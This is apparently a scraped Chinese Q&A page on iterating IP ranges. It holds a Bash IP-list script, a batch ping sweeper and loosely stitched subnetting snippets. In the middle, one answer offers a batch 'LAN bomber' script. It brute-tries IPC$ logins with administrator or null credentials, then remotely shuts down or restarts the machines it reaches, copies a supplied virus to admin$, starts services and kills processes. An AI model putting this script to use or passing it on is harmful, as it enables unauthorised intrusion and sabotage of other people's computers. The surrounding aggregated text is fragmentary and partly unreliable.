求遍历网段ip的shell脚本
先看效果:
[root@mail tmp]# ./runplayload.sh iplist.txt -s 192.168.33.34-40No such ip【192.168.33.35】 in 【iplist.txt】1--192.168.33.342--192.168.33.363--192.168.33.374--192.168.33.385--192.168.33.396--192.168.33.40[root@mail tmp]# ./runplayload.sh iplist.txt -s 192.168.33.34-192.168.33.40No such ip【192.168.33.35】 in 【iplist.txt】1--192.168.33.342--192.168.33.363--192.168.33.374--192.168.33.385--192.168.33.396--192.168.33.40[root@mail tmp]#
看一下iplist.txt文本格式
[root@mail tmp]# cat iplist.txt192.168.33.34192.168.33.36-192.168.33.40192.168.33.200192.168.33.204-210192.168.33.231脚本正文:
#!/bin/bash#------------------------------------------# Copyritht (C), 2015 gamjem@126.com# 脚本名: # 脚本位置: # 脚本用途: # 脚本修改历史:# # 老耿 2015/07/13 1.0 创建#版权: GPL#-------------------------------------------. /root/.bash_profile#定义ip个数r=6#传参 判断echo $3|grep -q "[0-9]-[0-9]"; stat=$? #这里在逻辑上应该先判断存不存在$3if [ $# -ne 3 -o "$2" != "-s" -o ${stat} -ne 0 ]; thenif [ $stat -ne 0 ];thenecho "脚本使用说明: COMMAND 文件名 -s ip范围例:sh ./run_playload.sh iplist.txt -s 192.168.33.20-50或 sh ./run_playload.sh iplist.txt -s 192.168.33.20-192.168.33.50"exitfifiif [ ! -f $1 ];thenecho "文件【$1】不存在!"exitfi#iplist.txt 文件格式转换iplist=`cat $1|awk -F'[-.]' '{ if($0~/-/){sub(/-.*$/,"",$4);for (i=$4;i$ip3 )) ;then ip_tmp=$ip2 ip2=$ip3 ip3=$ip_tmpfi#合并完整的ip,存在ip()里ip=()for i in `seq ${ip2} ${ip3}`do ipp="${ip1}.${i}" echo "${iplist}"|grep -wq "${ipp}" if [ $? -ne 0 ] ; then echo "No such ip【${ipp}】 in 【$1】" else ip=(${ip[*]} ${ipp}) fidone#判断ip()不为空的情况if [ -n "${ip[*]}" ];then#定义ip个数#r=6#判断ip取值个数,分两种情况处理 if (( ${r} <= ${#ip[@]} )); then for i in `seq ${r}` do let j=$i-1 echo "${i}--${ip[j]}" done else for ((i=0;i<${#ip[@]};i++)) dolet j=$i+1echo "${j}--${ip[i]}" done echo "WARNING: 受范围限制,未能取到完整的${r}个ip!" fifi
ipAddr=192.168.1.100echo ${ipAddr##*.}这样就提取出了100。
Bash中字符串的掐头去尾方法:
# 表示掐头,% 表示去尾
助记:键盘上# 在前面,键盘上% 在后面。
单个#或%的表示最小匹配,双个#或%表示最大匹配。也就是说,当匹配有多种方案的时候,选择匹配最大长度还是最小长度。
用awk也可以:
ifconfig eth0 | awk '/inet addr/{print $2}' | awk -F. '{print $NF}'
是可以借鉴这里面的一些东西而已,因为只要把这两段小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵。
shell不会玩,Windows下的bat还会点...
还有一点 要在Windows中调用linux中的shell脚本啊?
应该不可能...或者很难!
在Windows下我才能做到,不过太费时间了,给你两段现成的代码,如果你有时间有兴趣的话,可以在Windows下玩玩这代码,你有兴趣的话可以结合一下,然后再做一些修改就能达到你要的要求!
第一段:
@echo off
title 扫描在线IP
::MODE con: COLS=60 LINES=18
color 0a
::装饰。
:kaishi
cls
for /l %%i in (1,1,4) do echo.
set /p qishi= 起始IP:
set /p jieshu= 终止IP:
IF ERRORLEVEL 1 echo 错误的IP地址格式! && pause && goto kaishi
echo.
::从键盘获得两个变量的值。
for /f "tokens=1-4 delims=." %%a in ("%qishi%") do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v1=%%a
set v2=%%b
set v3=%%c
set v4=%%d
)
::分离起始IP的四个段并赋值,判断IP是否正确。
for /f "tokens=1-4 delims=." %%a in ("%jieshu%") do (
if %%a LSS 0 goto error_2
if %%a GTR 255 goto error_2
if %%b LSS 0 goto error_2
if %%b GTR 255 goto error_2
if %%c LSS 0 goto error_2
if %%c GTR 255 goto error_2
if %%d LSS 0 goto error_2
if %%d GTR 255 goto error_2
set v5=%%a
set v6=%%b
set v7=%%c
set v8=%%d
)
::分离终止IP的四个段并赋值,判断IP是否正确。
IF %V5% LSS %V1% echo 错误:终止IP不能小于起始IP。& pause & goto kaishi
::判断终止IP与起始IP的正确性。
IF %V4% LEQ %V8% set zengzhi_1=1
IF %V4% GEQ %V8% set zengzhi_1=-1
IF %v3% LEQ %v7% set zengzhi_2=1
IF %V3% GEQ %V7% set zengzhi_2=-1
IF %v2% LEQ %v6% set zengzhi_3=1
IF %v2% GEQ %v6% set zengzhi_3=-1
for /L %%d in (%v1%,1,%v5%) do (
for /L %%c in (%v2%,%zengzhi_3%,%v6%) do (
for /L %%b in (%v3%,%zengzhi_2%,%v7%) do (
for /L %%a in (%v4%,%zengzhi_1%,%v8%) do (
ping /n 1 %%d.%%c.%%b.%%a >nul && echo %%d.%%c.%%b.%%a OK || echo %%d.%%c.%%b.%%a ERROR
echo %%d.%%c.%%b.%%a
)
)
)
)
echo 扫描完毕!
pause & goto kaishi
:error_2
echo 错误的IP地址!
pause
goto kaishi
第二段(未编写测试完):
@echo off
setlocal enabledelayedexpansion
title Win 2k 局域网轰炸器 未完待续 ~す珹す~
color 0a
:start
echo -------------------------------------------------------------------------------
echo 收集信息中... & echo.
for /f "tokens=15" %%i in ('ipconfig ^| find /i "ip address"') do set ip=%%i
for /f "tokens=1,2,3 delims=." %%i in ('echo !ip!') do set wd=%%i.%%j.%%k
echo 你的 IP 地址是:!ip!
echo 你所在的网段是:!wd!
echo.
echo ---请选择扫描在线主机的扫描方式---
echo 1.ping 2.net view 3.exit 注:直接按回车键使用默认方式! 【ping测试】
set /p fs=请输入:
if "%fs%"=="" goto ping
if "%fs%"=="1" goto ping
if "%fs%"=="2" goto net view
if "%fs%"=="3" exit
cls & goto start
:ping
echo.
echo 输入需要扫描的IP范围(不需输网段) 1至255之内 结尾数不能小于起始数!
set /p qs=起始数:
set /p js=结束数:
if !qs! gtr !js! echo 起始数 不能大于 结束数! && ping 127.1 /n 2 >nul 2>nul && goto ping
echo 正在扫描 !wd!.!qs! 至 !wd!.!js! 范围内的主机在线情况...
echo -------------------------------------------------------------------------------
for /l %%i in (!qs!,1,!js!) do (
ping !wd!.%%i /n 1 >nul 2>nul && echo !wd!.%%i 在线! && echo !wd!.%%i>>zx.txt|| echo !wd!.%%i 离线!
)
echo --------------------------------------------------------------------------------
goto ipc$ scan
:net view
echo.
echo 此局域网内在线主机:
echo -------------------------------------------------------------------------------
FOR /F "eol=- delims=\\" %%c in ('net view') do (
FOR /F "eol=服" %%i in ('echo %%c') do (
FOR /F "eol=命" %%i in ('echo %%c') do (
echo %%i && echo %%i>>zx.txt
)
)
)
echo --------------------------------------------------------------------------------
goto ipc$ scan
:ipc$ scan
echo.
echo 即将开始ipc$扫描...
echo.
if not exist zx.txt echo sorry! 此局域网中无在线主机,无法进行ipc$扫描! 正在返回主菜单... && ping 127.1 /n 5 >nul 2>nul && cls && goto start
echo ipc$ 扫描时使用何用户? 注:直接按回车键使用默认用户! 【administrator】
echo 要用空用户(空链接)请输入 【null】
set /p user=请输入:
if "!user!"=="" set user=administrator
if "!user!"=="null" set user=
echo ipc$ 扫描时使用何密码? 注:直接按回车键使用默认密码! 【空】
set /p password=请输入:
if "!password!"=="" set password=
echo.
echo 你选择的用户为:!user!
echo 你选择的密码为:!password!
ping 127.1 /n 2 >nul 2>nul
echo.
echo 正在扫描能ipc$连接的机子...
set ipc$=0
for /f %%i in ('type zx.txt') do (
echo -------------------------------------------------------------------------------
net use \\%%i\ipc$ "!password!" /user:"!user!" >nul && (
set /a ipc$=!ipc$!+1
echo 连接 %%i 成功!
echo %%i>>ipc.txt
net use \\%%i /del>nul 2>nul
) || (
echo 连接 %%i 失败! ↑↑↑以上是错误提示! ↑↑↑
)
)
echo --------------------------------------------------------------------------------
echo 按任意键进入下一步! & pause >nul
:kill
cls
for /l %%i in (1,1,9) do echo.
echo 扫描到 !ipc$! 台机器能ipc$连接成功!
for /l %%i in (1,1,3) do echo.
echo 请问美丽的大姐您要怎么捉弄他们?
echo.
echo 1:关了他们 2:重启他们 3:开启服务
echo 4:传送病毒 5:弹出消息 6:关闭进程
echo.
set /p shr= 请选择:
if "!shr!"=="1" goto gj
if "!shr!"=="2" goto cq
if "!shr!"=="3" goto fw
if "!shr!"=="4" goto bd
if "!shr!"=="5" goto xx
if "!shr!"=="6" goto jc
goto kill
:gj
for /f %%i in ('type ipc.txt') do (
shutdown -m \\%%i -s -t 0
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start
:cq
for /f %%i in ('type ipc.txt') do (
shutdown -m \\%%i -r -t 0
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start
:fw
set /p fwm=请输入需要开启的服务名:
::还需检测路劲
for /f %%i in ('type ipc.txt') do (
net start \\%%i !fwm!
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start
:bd
set /p bdm=请输入要传送的病毒的路径:
for /f %%i in ('type ipc.txt') do (
copy !bdm! \\%%i\admin$
::还需开启对方计划任务服务 运行病毒
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start
:xx
set /p xx=请输入要弹出的消息:
for /f %%i in ('type ipc.txt') do (
echo 正在弹消息中...
sc \\%%i config messenger start= auto >nul 2>nul
sc \\%%i start messenger >nul 2>nul
net send %%i !xx!
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start
:jc
set /p jc=请输入需要关闭的进程名:
for /f %%i in ('type ipc.txt') do (
copy !bdm! \\%%i\admin$
taskkill /s \\%%i /f /im !jc!
)
echo 完成! 按任意键返回主菜单!
pause>nul & goto start1
pause
IP各号段代表什么意思呢?
两个ip地址,例如:192.168.1.1\/24,和 192.168.1.2\/24,网络地址相同,则这两个ip处于同一个网络,如不是同一个网络的主机之间通信必须通过设备对数据进行转发。
遍个程序循环PING本网段的所有IP
For \/l %%i in (1,1,255) do ping 192.168.1.%%i
IPBOOK该怎么用?使用iPbook对IP地址进行分段扫描的方法介绍
1、当你启动IPBook后,这款软件会自动测出本机的ip地址,计算机名。图中,会出现两个文本框如:xx.xx.xx.xx和xx.xx.xx的分别是本机的ip地址,与本网段的地址范围。2、查本网段所有机器的计算机名与共享资源。接着你再点击扫描一个网段这个按钮,过一会你会看到你的列表框内会显示本网段所有在位...
怎样实现不同网段的ip地址互联互通
不同网段的ip互通的方法:第一种方法:更改子网掩码变成同一网段 原来两个不同的子网的网段无法相互访问,在将原来的子网掩码255.255.255.0改变为255.255.254.0的子网掩码后,两者都在一个网段了,就可以相互访问了。第二种方法:需要三层交换机或者路由器 左边子网的设备以连接到的路由器的接口IP...
麻烦算一下这个网段的ip地址 子网掩码是 255.255.255.192 网关192.168...
网关是192.168.113.193 是属于第4个子网的。第4个子网地址是192.168.113.192 可以用的主机范围192.168.113.193~192.168.113.254 网关已经用193 ,就从194 开始。
...例如 192.168.204.0\/24 这个表示的是全网段的ip扫描吗??
24代表网络掩码,这里面192.168.204.0\/24代表192.168.204.0-192.168.204.255区间的所有IP地址。
如何查找当前网段下的所有ip地址
问题描述:在没有后台管理页面的时候,如何知道当前网段下连接所有连接设备的ip地址?系统环境:windows 使用工具:cmd 在命令提示符中,输入命令 我们的思路是对当前网段10.21.39.*中每一个ip地址(10.21.39.1~10.21.39.254)进行ping操作。cmd里面也是可以进行for循环语句的操作的。使用命令:
用192.168.9.0\/24网段进行ip地址的设定,有生产部、开发部、销售部...
生产部 192.168.9.129\/25 开发部 192.168.9.65\/26 销售部 192.168.9.33\/27 财务部 192.168.9.17\/28 经理室 192.168.9.9\/29 总裁办 192.168.9.1\/29 符合你的要求吗?
192.168.1划分4个子网,写出每个网段的具体IP?
如果将IP地址段192.168.1.0\/24划分为4个子网,每个子网的主机数要求相等,可以使用子网掩码将IP地址划分为不同的子网。在这种情况下,可以使用子网掩码255.255.255.192,这可以提供4个子网,每个子网最多可以支持62个主机。具体IP地址如下:子网1: 192.168.1.0\/26 可用IP地址范围: 192.168.1....
不同网段的IP一样吗
不一样,在局域网中每台电脑的IP都不同,IP冲突不能上网。但从外网看,整个局域网络主机地址的IP是一样的。常用的有IPV4和IPV6两种。IP网络使用32位地址,以点分十进制表示,如192.168.0.1。地址格式为:IP地址=网络地址+主机地址或 IP地址=网络地址+子网地址+主机地址。网络地址是因特网协会的...
茅呼妇必: 是可以借鉴这里面的一些东西而已,因为只要把这两段小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵.shell不会玩,Windows下的bat还会点... 还有一点 要在Windows中调用linux中的shell脚本啊...
新干县19120662326: shell 脚本获得当前 ip地址 - ?
茅呼妇必: bin=$(ifconfig | awk -F'addr:|Bcast' '/Bcast/{print $2}')
新干县19120662326: shell脚本修改集群IP - ?
茅呼妇必: 程序逻辑有问题.你的想法是将10.255.0.11改成11.11.11.14,10.255.0.12改成11.11.11.15,但是你的脚本是在每一台服务器上都遍历了11.11.11.14~15,最后修改成的ip(11.11.11.15)才是生效的,之前的修改都被后面的修改覆盖了.正确的写法...
新干县19120662326: 如何遍历ip地址 - ?
茅呼妇必: 小脚本中的一些东西结合起来可以达到你的要求(Windows环境中),不是要完全的照搬,呵呵.shell不会玩,Windows下的bat还会点... 还有一点 要在Windows中调用linux中的shell脚本啊?应该不可能...或者很难!在Windows下我才能做到,...
新干县19120662326: shell脚本配置IP - ?
茅呼妇必: 你编辑的是ifcfg-eth2,怎么写进去的Device是eth0??我是6.5的测试系统,执行之后可以正常启动,不过报错是针对/etc/init.d/network这个脚本的./IP_eth0.sh 104/etc/init.d/network: line 184: command not found/etc/init.d/network: line 184: 33...
新干县19120662326: 用perl脚本实现如下功能:自动获得某一个域名的所有ip地址 并把这个ip的c段添加到iptables里面 - ?
茅呼妇必: 这个也不算困难吧,现成的代码没有.思路还是有的.用system调用dig命令获取域名的信息如果直接是A记录的话,过滤出IP来就好了.如果是cname记录那么继续dig.这个在cpan上应该也有相应的模块.然后是使用你得到的IP地址来写相应的iptables.其实用shell来做这个事情更好吧
新干县19120662326: shell脚本怎么以ip为条件循环调用telnet指令进行网络测试 - ?
茅呼妇必: IP放入文件,每行一条 for i in `cat ip.txt` do echo $i#do your telnet test done
新干县19120662326: 写shell脚本 批量ping ip 将结果输出到可读文件中 - ?
茅呼妇必: 这个不需要写脚本吧?直接一个ping命令就可以了 ping -c 5 "hostname" >> filename 2>&1
新干县19120662326: 想写个shell脚本来自动配置ip,子网掩码和网关 - ?
茅呼妇必: 测试了下还可以,没有写条件判断,根据情况自己再修改下123456789101112131415 #!/bin/bash hwaddr=`ifconfig|grepHWaddr |awk'{print $5}'` echo"DEVICE=$1 HWADDR=$hwaddr TYPE=Ethernet ONBOOT=yes NM_CONTROLLED=yes BOOTPROTO=static IPADDR=$2 NETMASK=$3 GATEWAY=$4" > /etc/sysconfig/network-scripts/ifcfg-$1 /etc/init.d/networkrestart
新干县19120662326: shell 检查到本机 存在 192.168.1.100 IP时就执行 /roo/1.sh 脚本,每秒检查1次 - ?
茅呼妇必: #!/bin/bash while true do ping -c 1 192.168.1.100 > /dev/null 2>&1 if !(($?));then/roo/1.sh fi sleep 1 done